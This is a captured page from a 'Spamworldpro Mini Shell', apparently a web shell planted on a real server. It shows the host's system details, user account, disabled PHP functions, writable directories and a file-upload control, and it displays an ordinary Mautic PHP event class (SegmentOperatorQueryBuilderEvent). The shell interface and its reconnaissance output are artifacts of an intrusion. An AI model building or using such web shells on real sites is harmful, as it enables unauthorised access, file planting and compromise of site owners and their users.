Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/LeadBundle/Event/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/LeadBundle/Event/SegmentOperatorQueryBuilderEvent.php
<?php

declare(strict_types=1);

namespace Mautic\LeadBundle\Event;

use Doctrine\DBAL\Query\Expression\CompositeExpression;
use Mautic\LeadBundle\Segment\ContactSegmentFilter;
use Mautic\LeadBundle\Segment\Query\QueryBuilder;
use Symfony\Contracts\EventDispatcher\Event;

final class SegmentOperatorQueryBuilderEvent extends Event
{
    private bool $operatorHandled = false;

    private string $leadsTableAlias;

    /**
     * @param string|string[] $parameterHolder
     */
    public function __construct(
        private QueryBuilder $queryBuilder,
        private ContactSegmentFilter $filter,
        private $parameterHolder
    ) {
        $this->leadsTableAlias = $queryBuilder->getTableAlias(MAUTIC_TABLE_PREFIX.'leads');
    }

    public function getQueryBuilder(): QueryBuilder
    {
        return $this->queryBuilder;
    }

    public function getFilter(): ContactSegmentFilter
    {
        return $this->filter;
    }

    /**
     * @return string|string[]
     */
    public function getParameterHolder()
    {
        return $this->parameterHolder;
    }

    public function operatorIsOneOf(string ...$operators): bool
    {
        return in_array($this->filter->getOperator(), $operators, true);
    }

    /**
     * @param CompositeExpression|string $expression
     */
    public function addExpression($expression): void
    {
        $this->queryBuilder->addLogic($expression, $this->filter->getGlue());

        $this->setOperatorHandled(true);
    }

    /**
     * The subscriber must tell the event that the operator was successfully handled.
     * Otherwise an exception will be thrown as an unknown operator was sent.
     * Or use the addExpression() method that will set it automatically.
     */
    public function setOperatorHandled(bool $wasHandled): void
    {
        $this->operatorHandled = $wasHandled;
    }

    public function wasOperatorHandled(): bool
    {
        return $this->operatorHandled;
    }

    public function getLeadsTableAlias(): string
    {
        return $this->leadsTableAlias;
    }
}

Spamworldpro Mini